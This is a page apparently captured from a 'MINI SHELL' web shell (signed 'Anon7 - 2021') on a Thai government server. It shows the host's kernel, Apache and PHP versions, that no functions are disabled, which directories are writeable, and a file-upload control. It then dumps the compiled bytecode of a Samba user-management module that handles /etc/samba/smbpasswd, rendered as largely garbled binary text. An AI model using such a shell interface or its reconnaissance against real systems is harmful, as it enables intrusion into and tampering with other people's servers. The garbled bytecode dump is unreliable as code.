MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/system-config-samba/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/system-config-samba/sambaUserData.pyc
mς
£^Dc@s}dkZdkZdkZdkZdklZlZdkiZdZei	eƒei
ieƒdfd„ƒYZdS(N(t_sN_ssystem-config-sambat
SambaUserDatacBs†tZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d	„Z
d
„Zd„Zd„Z
d
„Zd„ZRS(NcCs3||_g|_g|_|iƒ|iƒdS(N(tparenttselftParentClasstsamba_passwd_filetsamba_users_filetreadSmbPasswdFiletreadSmbUsersFile(RR((t//usr/share/system-config-samba/sambaUserData.pyt__init__"s
			
cCsΗd}g}ti|tiƒdjo›ti|tiƒdjoht|dƒ}x?|iƒD]1}t
i|ƒddjo|i|ƒq`q`W|i
ƒ||_qΓttd|ƒ‚ndS(Ns/etc/samba/smbpasswditrit#s&You do not have permission to read %s.(tpathtlisttostaccesstF_OKtR_OKtopentfdt	readlinestlinetstringtstriptappendtcloseRRtRuntimeErrorR(RRRR
R((R	R+s


cCs‹d}ti|tiƒdjoeti|tiƒdjo2tddƒ}|iƒ}|i	ƒ||_q‡tt
d|ƒ‚ndS(Ns/etc/samba/smbusersiRs'Cannot read %s.  Program will now exit.(R
RRRRRRRtlinesRRRRR(RRRR
((R	R>s

cCs|iS(N(RR(R((R	t
getPasswdFileLscCs|iS(N(RR(R((R	tgetUsersFileOscCsrh}xe|iD]Z}ti|ƒ}|o>|ddjo-ti|dƒ}||ti|dƒ<qqW|S(NiRt=(	t	user_dictRRRRRttmp_linetsplitttokens(RR#R R!R((R	tgetUserDictRs
cCsCd}ti|tiƒdjot|dƒ}nΰti|tiƒdjot|dƒ}n±ti|i
idtiti
td|ƒƒ}|itiƒ|itƒ|itiƒ|iƒ|iƒtiidƒotiƒntiƒttd|ƒ‚x|iD]}|i |ƒqW|i!ƒdS(Ns/etc/samba/smbpasswditwis+Cannot write to %s.  Program will now exit.t	main_quitsBYou do not have permission to write to %s.  Program will now exit.("R
RRtW_OKRRRtgtkt
MessageDialogRRtmain_windowtMESSAGE_WARNINGt
BUTTONS_OKRtdlgtset_positiontWIN_POS_CENTERt	set_modaltTruetset_icont
mainWindowt
iconPixbuftruntdestroyt__dict__thas_keyR&tmainquitRRRtwriteR(RR-RR
R((R	twriteSmbPasswdFile[s(




cCsCd}ti|tiƒdjot|dƒ}nΰti|tiƒdjot|dƒ}n±ti|i
idtiti
td|ƒƒ}|itiƒ|itƒ|itiƒ|iƒ|iƒtiidƒotiƒntiƒttd|ƒ‚x|iD]}|i |ƒqW|i!ƒdS(Ns/etc/samba/smbusersiR%is+Cannot write to %s.  Program will now exit.R&sBYou do not have permission to write to %s.  Program will now exit.("R
RRR'RRRR(R)RRR*R+R,RR-R.R/R0R1R2R3R4R5R6R7R8R&R9RRRR:R(RR-RR
R((R	twriteSmbUsersFilets(




cCs†|d|d}|ii|ƒ|iƒtid|dƒ}xdD]}|id|ƒqIW|i
ƒ|iƒ|iƒdS(	Ns = s
s/usr/bin/smbpasswd -a -s "%s"R%iis%s
(ii(t	unix_nametwindows_nameRRRRR<RtpopentpipetiR:tpasswordRRR(RR=R>RBRAR@R((R	taddUsers


cCsFtid|dƒ}xdD]}|id|ƒqW|iƒdS(Ns/usr/bin/smbpasswd -s "%s"R%iis%s
(ii(RR?R=R@RAR:RBR(RR=RBRAR@((R	tchangePasswordšs
cCsξ|iƒ}d}xe|iD]Z}yJ|||jo5|d|d}||i|ii	|ƒ<d}nWqqXqW|pU|d|d}||jo2|ii
|ƒ|iƒ|iƒ|i
ƒqΦn|iƒ|i
ƒdS(Nis = s
i(RR$tuserDicttfoundRRR=R>tnew_linetindexRR<RR(RR=R>RERFRRG((R	tchangeWindowsUserName s(




cCsy|ii|ƒ|iƒ}|iƒ}||jo|i	i||ƒn|i
ƒ|iƒ|iƒ|i
ƒdS(N(RRtremoveRR$R tkeyst	user_keystnameRR<R;RR(RRMRRLR ((R	t
deleteUserΉs



cCs)ti|dƒ}ti|dƒ}|S(NRi(RR"RR#RR>(RRR#R>((R	tgetWindowsNameΛscCsQ|iƒx@|iD]5}ti|ƒ}|o||djodSqqWdS(Nii(	RRRRRR"R#tusertNone(RRPR#R((R	tuserAlreadyExistsΠs

(t__name__t
__module__R
RRRRR$R;R<RCRDRIRNRORR(((R	R!s											
				(
RRR(R3trhpl.translateRtN_t	translatetdomaint
textdomaintgladetbindtextdomainR(	RXRR(RVRRWRR3R((R	t?s				


Anon7 - 2021